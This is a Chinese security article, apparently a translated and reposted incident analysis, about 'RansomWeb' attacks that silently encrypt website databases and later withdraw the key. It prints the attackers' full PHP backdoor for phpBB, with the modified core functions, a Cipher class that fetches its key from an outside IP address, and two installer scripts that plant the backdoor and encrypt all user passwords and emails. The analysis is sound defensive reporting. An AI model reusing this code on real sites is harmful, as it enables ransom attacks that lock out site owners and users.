RansomWeb:一种新兴的web安全威胁

安全 应用安全
目前越来越多的人成为勒索软件的受害者,恶意软件会加密你的计算机直到你愿意交保护费,最新的趋势发现,网站已经成为犯罪分子的攻击目标,犯罪软件会加密你的数据库直到你付钱。

0x00 前言

目前越来越多的人成为勒索软件的受害者,恶意软件会加密你的计算机直到你愿意交保护费,最新的趋势发现,网站已经成为犯罪分子的攻击目标,犯罪软件会加密你的数据库直到你付钱。

RansomWeb:一种新兴的web安全威胁

0x01 守候

2014年12月我们的安全专家在一个理财网站上发现一个很有趣的案例:网站一直显示无法连接数据库,而网站管理员收到一封勒索邮件,“给钱,然后我们会给你数据库解锁”。

遇到这种类型攻击的网站都是一些小型站点,但是公司的重点业务运营都是围绕网站进行了,停了分分钟几万,chinese一点地话来说,“互联网公司”。

我们认真的进行了调查,发现一下几点特点:

1 web应用程序在半年前被入侵,攻击者修改了一些需要进行数据库操作的脚本,在插入数据时对数据进行加密,在查询数据时对数据进行解密。整个过程 用户没有感到任何异样。

2 只对关键的数据库表被进行加密,将对网站性能的影响降到了最低,并且加密了之前被存入的数据库记录。

3 加密密钥被储存在远程服务器上,只能通过https访问(一定可能性是为了防止被拦截)

4 在这6个月,黑客默默地守候着网站,当一些升级和运维行为时对服务器进行备份。

5 在xxx天后,黑客关闭远程服务器,同时网站停止服务,and收到一封饱含着爱意的恶意邮件。

0x02 另一个案例

我们一开始相信这是一个针对部分公司进行的apt行为,属于一个特殊的个别案例,不过后来发现我们错了,上周我们又发现一个相似的例子,来自我们的另一个客户。他收到了一个勒索邮件……在他的phpbb论坛失灵之后。对于客户来说这个phpBB是一个非常重要的平台,版本还是2014年11月25日发布的phpBB 3.1.2 最新版。

最早问题来之于当时没有一个用户可以登录论坛,包括版主和管理员,用户的认证功能已经失效,在我们的调查下发现,登录时需要的密码和邮箱验证在插入数据库的时候经过了一次加密。

我们发现下列文件遭到了修改。

1. factory.php

函数sql_fetchrow()遭到了修改,在进行sql查询

  1. $result = $this->get_driver()->sql_fetchrow($query_id); 

password 和 email字段会经过一次解密。

  1. if(isset($result['user_password'])){   
  2.  $result['user_password'] = $cipher->decrypt($result['user_password']);   
  3. }   
  4. if(isset($result['user_email'])){   
  5.  $result['user_email'] = $cipher->decrypt($result['user_email']);   

2. functions_user.php

函数 user_add 经过修改之后 添加数据时会被加密

  1. $sql_ary = array(   
  2.  'username'=>$user_row['username'],   
  3.  'username_clean' => $username_clean,   
  4.  'user_password' => (isset($user_row['user_password']))?   
  5.     $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),   
  6.  'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),   
  7.  'user_email_hash'=> phpbb_email_hash($user_row['user_email']),   
  8.  'group_id' => $user_row['group_id'],   
  9.  'user_type' => $user_row['user_type'],   
  10. ); 

3. cp_activate.php

main 函数遭到修改

  1. $sql_ary = array(   
  2.  'user_actkey' => '',   
  3.  'user_password' => $cipher->encrypt($user_row['user_newpasswd']),   
  4.  'user_newpasswd' => '',   
  5.  'user_login_attempts' => 0,   
  6. ); 

4. ucp_profile.php

main函数

  1. if (sizeof($sql_ary))   
  2. {   
  3.  $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);   
  4.  $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);  
  5.  $sql = 'UPDATE ' . USERS_TABLE . '   
  6.   SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' 
  7.   WHERE user_id = ' . $user->data['user_id'];   
  8.  $db->sql_query($sql); 

5. config.php

  1. class Cipher {   
  2.  private $securekey, $iv;   
  3.  function __construct($textkey) {   
  4.   $this->securekey = hash('sha256',$textkey,TRUE);   
  5.   $this->iv = mcrypt_create_iv(32);   
  6.  }   
  7.  function encrypt($input) {   
  8.   return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,   
  9.        $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));   
  10.  }   
  11.  function decrypt($input) {   
  12.   return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,   
  13.        $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));   
  14.  }   
  15. }   
  16. $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/   
  17. sdfds90f8d9s0f8d0f89.txt');   
  18. $cipher=new Cipher($key); 

一个值得注意的是,我们发现黑客留下的两个可以自动化安装后门的脚本,可以对任意phpbb论坛植入后门程序,只需要几下点击,第一个修改 “config.php” 添加 cipher类在脚本中,其中可以看到 储存在远程服务器上的密钥。

安装文件

  1. <?php   
  2. $file = '../config.php';   
  3. $txt = "\n".'class Cipher {   
  4.  private $securekey$iv;   
  5.  function __construct($textkey) {   
  6.   $this->securekey = hash(\'sha256\',$textkey,TRUE);   
  7.   $this->iv = mcrypt_create_iv(32);   
  8.  }   
  9.  function encrypt($input) {   
  10.   return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,   
  11.      $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));   
  12.   }   
  13.  function decrypt($input) {   
  14.   return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,   
  15.      $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));   
  16.  }   
  17. }   
  18. $key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/   
  19. sdfds90f8d9s0f8d0f89.txt\');   
  20. $cipher=new Cipher($key);'."\n";   
  21. if( FALSE !== file_put_contents($file$txt, FILE_APPEND | LOCK_EX)){   
  22.  echo "DONE!";   
  23. }; 

第二个安装文件加密所有用户的email和password,并替换上述文件。

  1. <?php   
  2. define('IN_PHPBB', true);   
  3. $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';  
  4. $phpEx = substr(strrchr(__FILE__, '.'), 1);   
  5. include($phpbb_root_path . 'common.' . $phpEx);   
  6. include($phpbb_root_path . 'includes/functions_display.' . $phpEx);   
  7. $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;   
  8. $result = $db->sql_query($sql);   
  9. while ($row = $db->sql_fetchrow($result))   
  10. {   
  11.  $sql2 = 'UPDATE ' . USERS_TABLE . '   
  12.   SET   
  13.    user_password = "'.$cipher->encrypt($row['user_password']).'",   
  14.    user_email = "'.$cipher->encrypt($row['user_email']).'" 
  15.   WHERE user_iduser_id = '.$row['user_id'];   
  16.  $result2 = $db->sql_query($sql2);   
  17. }   
  18. echo "SQL UPDATED!<br>";   
  19. copy('factory.php', '../phpbb/db/driver/factory.php');   
  20. copy('functions_user.php', '../includes/functions_user.php');   
  21. copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');   
  22. copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');   
  23. echo "FILES UPDATED!”; 

接着攻击者等待两个月,就从远程服务器中取出密钥。

0x03 结论

我们称这种攻击为RansomWeb , 我们做了一个简要的分析:

RansomWeb的特点

1、与ddos不同,这种攻击会对网站的可用性造成长时间的巨大影响。

2、不仅可以用于勒索,还可以用于其他很多用途。

3、不给钱想从攻击中恢复很困难。

RansomWeb的弱点

1、做下文件监控就好了

2、在不对网站造成影响的情况下加密极其困难。

3、定期检测更新

原文地址:https://www.htbridge.com/blog/ransomweb_emerging_website_threat.html

责任编辑:蓝雨泪 来源: 乌云知识库
相关推荐

2024-04-07 13:24:47

2020-05-06 11:29:29

UX设计钓鱼攻击用户体验

2024-04-10 12:33:58

2020-10-10 11:34:47

安全威胁

2022-05-09 08:54:54

EDoS网络攻击云安全

2023-10-07 12:03:16

2022-12-26 08:00:00

2015-04-14 11:36:14

2022-04-06 12:00:46

HEAT安全架构新威胁

2021-09-10 09:09:58

ARTIF威胁智能框架安全工具

2018-12-14 14:30:12

安全检测布式系测试

2019-08-27 07:40:47

2020-04-26 09:17:08

哈希传递身份验证攻击

2012-10-26 11:37:12

2022-02-20 09:46:17

僵尸网络加密货币网络安全

2023-03-06 10:29:37

人工智能威胁

2021-12-29 08:00:00

勒索软件安全漏洞

2010-11-23 15:42:14

2020-12-23 10:10:23

Pythonweb代码

2022-07-07 10:33:27

Python姿势代码
点赞
收藏

51CTO技术栈公众号